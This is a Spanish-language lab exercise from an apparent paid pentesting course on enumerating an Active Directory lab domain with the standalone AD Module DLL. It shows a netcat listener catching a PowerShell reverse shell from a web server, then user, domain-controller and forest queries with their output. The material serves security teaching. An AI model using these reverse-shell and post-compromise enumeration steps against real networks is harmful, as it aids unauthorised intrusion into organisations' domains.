# Enumeracion con AD Module DLL

{% hint style="info" %}
Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: <https://wa.link/j265a0>. ¡Te esperamos para empezar este viaje juntos!
{% endhint %}

{% hint style="success" %}
**OBJETIVO DEL EJERCICIO #10:**

Utiliza`Microsoft.ActiveDirectory.Management.dll`para enumerar el dominio de `spartan-cybersec.corp`. \
Para realizarlo es suficiente tener encendido UNICAMENTE `WEBSERVER` y `First-DC`.
{% endhint %}

El "AD Module" se refiere al módulo de Active Directory para Windows PowerShell, que proporciona cmdlets para gestionar y obtener información de un dominio de Active Directory (AD). Estos cmdlets son extremadamente útiles para administradores, así como para profesionales de la seguridad, incluidos los hackers éticos. La DLL específica que contiene las funcionalidades de este módulo es `Microsoft.ActiveDirectory.Management.dll`.

El AD Module es utilizado por los hackers éticos y otros profesionales de seguridad para una variedad de tareas relacionadas con AD, tales como:

1. <mark style="color:red;">**Enumeración de objetos**</mark><mark style="color:red;">:</mark> Usando cmdlets como `Get-ADUser`, `Get-ADGroup`, y `Get-ADComputer`, un profesional de seguridad puede obtener una lista de usuarios, grupos y computadoras, respectivamente, dentro del dominio de AD. Estas listas son fundamentales para entender la estructura y el alcance del dominio.
2. <mark style="color:red;">**Extracción de detalles específicos**</mark><mark style="color:red;">:</mark> Los cmdlets permiten una gran granularidad en la extracción de detalles. Por ejemplo, se puede usar `Get-ADUser` para extraer detalles específicos sobre un usuario, como su dirección de correo electrónico, la última vez que inició sesión, si la cuenta está habilitada, etc.
3. <mark style="color:red;">**Identificación de relaciones de confianza**</mark><mark style="color:red;">:</mark> Con cmdlets como `Get-ADTrust`, los profesionales de seguridad pueden identificar las relaciones de confianza entre diferentes dominios.
4. <mark style="color:red;">**Auditoría de políticas de seguridad**</mark><mark style="color:red;">:</mark> Utilizando cmdlets como `Get-ADDefaultDomainPasswordPolicy`, un hacker ético puede obtener información sobre políticas de contraseña y otros ajustes de seguridad para determinar si cumplen con las mejores prácticas.
5. <mark style="color:red;">**Búsqueda de configuraciones inseguras**</mark><mark style="color:red;">:</mark> A través de la enumeración y el análisis de la información recopilada, un profesional de seguridad puede identificar configuraciones que presentan riesgos, como cuentas con contraseñas que nunca caducan o usuarios que tienen privilegios excesivos.

{% embed url="<https://github.com/samratashok/ADModule>" %}

```powershell
kali@kali=> nc -nvlp 443
listening on [any] 443 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 51600
Windows PowerShell running as user WEBSERVER$ on WEBSERVER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\Public\TOOLS\ADModule-master\ADModule-master> dir
    Directory: C:\Users\Public\TOOLS\ADModule-master\ADModule-master

Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----         9/29/2023   6:34 AM                ActiveDirectory                                                      
d-----         9/29/2023   6:34 AM                img                                                                  
------         11/5/2018  12:04 AM        1127936 Microsoft.ActiveDirectory.Management.dll                             
------         11/5/2018  12:04 AM           1485 README.md                                                            


PS C:\Users\Public\TOOLS\ADModule-master\ADModule-master> Import-Module .\Microsoft.ActiveDirectory.Management.dll -Verbose
```

Despues de importar el modulo podemos ejecutar varios comandos ya que:

`Microsoft.ActiveDirectory.Management.dll` es la biblioteca subyacente que proporciona la funcionalidad para el módulo de Active Directory para Windows PowerShell. Este módulo contiene una serie de cmdlets que se pueden utilizar para gestionar y consultar objetos en Active Directory.

A continuación, algunos de los cmdlets (comandos) más comunes proporcionados por este módulo:

1. <mark style="color:red;">**Get-ADUser**</mark><mark style="color:red;">:</mark> Recupera información sobre un usuario específico o sobre todos los usuarios.
   * Ejemplo: `Get-ADUser -Identity jdoe`
2. <mark style="color:red;">**Get-ADComputer**</mark><mark style="color:red;">:</mark> Obtiene información sobre una máquina específica o sobre todas las máquinas en el dominio.
   * Ejemplo: `Get-ADComputer -Identity PC01`
3. <mark style="color:red;">**Get-ADGroup**</mark><mark style="color:red;">:</mark> Recupera detalles de un grupo en Active Directory.
   * Ejemplo: `Get-ADGroup -Identity "Administrators"`
4. <mark style="color:red;">**New-ADUser**</mark><mark style="color:red;">:</mark> Crea un nuevo usuario en Active Directory.
   * Ejemplo: `New-ADUser -Name "John Doe"`
5. <mark style="color:red;">**Set-ADUser**</mark><mark style="color:red;">:</mark> Modifica propiedades de un usuario existente.
   * Ejemplo: `Set-ADUser -Identity jdoe -Description "Account de prueba"`
6. <mark style="color:red;">**Remove-ADUser**</mark><mark style="color:red;">:</mark> Elimina un usuario de Active Directory.
   * Ejemplo: `Remove-ADUser -Identity jdoe`
7. <mark style="color:red;">**Get-ADDomain**</mark><mark style="color:red;">:</mark> Recupera información sobre el dominio.
   * Ejemplo: `Get-ADDomain`
8. <mark style="color:red;">**Get-ADForest**</mark><mark style="color:red;">:</mark> Recupera información sobre el bosque de Active Directory.
   * Ejemplo: `Get-ADForest`
9. <mark style="color:red;">**Get-ADObject**</mark><mark style="color:red;">:</mark> Recupera un objeto de Active Directory basado en un conjunto de criterios.
   * Ejemplo: `Get-ADObject -Filter 'ObjectClass -eq "user"'`
10. <mark style="color:red;">**Get-ADDomainController**</mark><mark style="color:red;">:</mark> Encuentra controladores de dominio en el dominio especificado.
    * Ejemplo: `Get-ADDomainController -Discover`

Vamos a ejecutar uno de los comandos previos desde el contexto de maquina del dominio:

```powershell
PS C:\Users\Public\TOOLS\ADModule-master\ADModule-master> Get-ADUser -Identity "unconstrained.user"

GivenName          :
Surname            :
UserPrincipalName  :
Enabled            : True
SamAccountName     : unconstrained.user
SID                : S-1-5-21-1861162130-2580302541-221646211-1114
DistinguishedName  : CN=unconstrained.user,CN=Users,DC=spartancybersec,DC=corp
Name               : unconstrained.user
ObjectClass        : user
ObjectGuid         : dbe3e364-7d66-4435-b9de-07a203c53f40
PropertyNames      : {DistinguishedName, Enabled, GivenName, Name...}
AddedProperties    : {}
RemovedProperties  : {}
ModifiedProperties : {}
PropertyCount      : 10
```

O tambien podriamos ejecutar:

```powershell
PS C:\Users\Public\TOOLS\ADModule-master\ADModule-master> Get-ADDomainController -Discover

Domain             : spartancybersec.corp
Forest             : spartancybersec.corp
Name               : FIRST-DC
Site               : Default-First-Site-Name
IPv4Address        : 10.0.1.100
IPv6Address        :
PropertyNames      : {Domain, Forest, HostName, IPv4Address...}
AddedProperties    : {}
RemovedProperties  : {}
ModifiedProperties : {}
PropertyCount      : 7
```

Tambien:

```powershell
PS C:\Users\Public\TOOLS\ADModule-master\ADModule-master> Get-ADForest

Name                  : spartancybersec.corp
UPNSuffixes           : {}
SPNSuffixes           : {}
ForestMode            : Windows2016Forest
ApplicationPartitions : {DC=DomainDnsZones,DC=spartancybersec,DC=corp, DC=ForestDnsZones,DC=spartancybersec,DC=corp}
CrossForestReferences : {}
Domains               : {spartancybersec.corp}
GlobalCatalogs        : {First-DC.spartancybersec.corp}
Sites                 : {Default-First-Site-Name}
DomainNamingMaster    : First-DC.spartancybersec.corp
RootDomain            : spartancybersec.corp
SchemaMaster          : First-DC.spartancybersec.corp
PropertyNames         : {ApplicationPartitions, CrossForestReferences, DomainNamingMaster, Domains...}
AddedProperties       : {}
RemovedProperties     : {}
ModifiedProperties    : {PartitionsContainer}
PropertyCount         : 13
```
